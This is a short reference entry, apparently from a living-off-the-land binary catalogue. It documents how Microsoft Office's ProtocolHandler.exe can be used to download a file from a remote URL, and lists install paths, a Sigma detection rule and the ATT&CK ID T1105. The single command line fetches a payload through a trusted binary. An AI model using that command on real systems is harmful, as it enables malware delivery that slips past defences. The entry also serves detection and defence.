.. /ProtocolHandler.exe

Star

Paths:

• C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\ProtocolHandler.exe
• C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\ProtocolHandler.exe
• C:\Program Files (x86)\Microsoft Office\Office16\ProtocolHandler.exe
• C:\Program Files\Microsoft Office\Office16\ProtocolHandler.exe
• C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\ProtocolHandler.exe
• C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\ProtocolHandler.exe
• C:\Program Files (x86)\Microsoft Office\Office15\ProtocolHandler.exe
• C:\Program Files\Microsoft Office\Office15\ProtocolHandler.exe

Acknowledgements:

• Nir Chako (Pentera) (@C_h4ck_0)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_lolbin_protocolhandler_download.yml
• IOC: Suspicious Office application Internet/network traffic

Download

1. Downloads payload from remote server

   ProtocolHandler.exe {REMOTEURL}

   Use case

   It will open the specified URL in the default web browser, which (if the URL points to a file) will often result in the file being downloaded to the user’s Downloads folder (without user interaction)

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105